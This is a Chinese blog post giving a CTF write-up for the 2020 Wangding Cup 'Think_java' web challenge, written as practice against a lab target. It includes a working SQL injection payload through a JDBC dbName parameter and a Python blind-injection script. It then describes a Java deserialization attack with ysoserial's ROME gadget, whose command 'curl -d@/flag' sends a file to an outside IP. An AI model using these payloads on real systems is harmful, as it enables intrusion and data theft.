刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

2020网鼎杯 第三组 Web Think_java WriteUp(java反序列化,sql盲注,swagger)

打开页面是这样的

image.png

通过给的附件进行代码审计,发现有sql注入漏洞

image.png

image.png


image.png

注入点为dbName参数,首先需要解决的问题是如何绕过 

"jdbc:mysql://mysqldbserver:3306/" + dbName;

image.png

找到jdbc的连接字符串参数文档,发现dbName后面加上?后面可以加任意参数,就不会影响正常的数据库连接


image.png

也就是说dbName可以等于myapp?a=1.....  ,a=1 后面可以写单引号来注入了,经过测试找到注入点

myapp?a=1' or (table_schema='myapp' and if(ascii(substr((select pwd from user limit 0,1),1,1))=97,sleep(5),1))#

盲注代码

import requests


def data():
    db = {}
    x = 0
    while x < 60:
        x = x + 1
        print x
        for i in range(33, 128):
            url = 'http://19bb72dc-c2d2-4b7c-81b6-da4934ff6755.node3.buuoj.cn/common/test/sqlDict'
            data = {
                "dbName": "myapp?a=1' or (table_schema='myapp' and if(ascii(substr((select pwd from user limit 0,1)," + str(
                    x) + ",1))=" + str(i) + ",sleep(5),1))#"
            }
            try:
                f = 0
                s = requests.post(url, data=data, timeout=3)
            except:
                f = 1
            if f == 1:
                db[x] = i + 1
                print chr(i),i
                break

data()

注入得到账号 admin,密码 admin@Rrrr_ctf_asde

后来看别人的wp发现联合注入能直接得到密码,可能是非预期,所以比赛的时候刚开始是能显示结果的,后面就不显示结果了 估计是出题人发现之后修复了

dbName=myapp?a=1'union select pwd from user#

image.png


拿到密码之后,不知道怎么使用,比赛时候在这一步挂掉了,把整个库都快盲注完了也没找到flag。

其实下一步的线索从test.class中寻找,作为一个5年的java开发没有发现这个线索真是惭愧,接口上有注解,@ApiOperation,此注解为swagger接口注解,暗示使用了swagger,项目使用swagger后,会有一个默认的web页面来显示所有带有注解的接口文档,默认地址为项目名称+swagger-ui.html,当时如果暴力跑一下目录也许也能发现这个页面,比赛时候真是懵了。

image.png

访问swagger页面后,发现有一个登录接口,和一个查询现在用户的接口

image.png

使用刚才注入得到的密码登录一下。

image.png

得到了一个token

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

image.png

Bearer 属于jwt的一种,也就是说加密的字符是json数据通过base64加密后得到的。

可以测试一下java的反序列化漏洞

用到两个工具 ysoserial 和 Java-Deserialization-Scanner

https://github.com/federicodottaa/Java-Deserialization-Scanner/releases

https://github.com/frohoff/ysoserial

两个项目我都没有下载到编译好的jar包,下载源码后使用idea进行编译。编译很简单,导入项目到idea后,等待下载maven包,下载完成后在右侧找到maven菜单,双击package,得到打包完成就可以了


Java-Deserialization-Scanner的安装,从bp找到下面的界面,选择刚才生成好的jar包,next确定就好了


image.png

导入完成后bp界面变化如下

image.png

然后编译ysoserial为jar包,放到bp目录下

配置一下,名称不要输错

image.png

然后可以进行java的反序列化漏洞测试了,设置注入点为token,选择加密方式为base64,然后点击attack,过一会右边就出现了结果,ROME的payload测试成功

image.png


右键发送的利用窗口

image.png

输入 ROME "curl -d@/flag 174.1.96.95:5555" 点击attack,nc就能接收到flag了

image.png



image.png


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.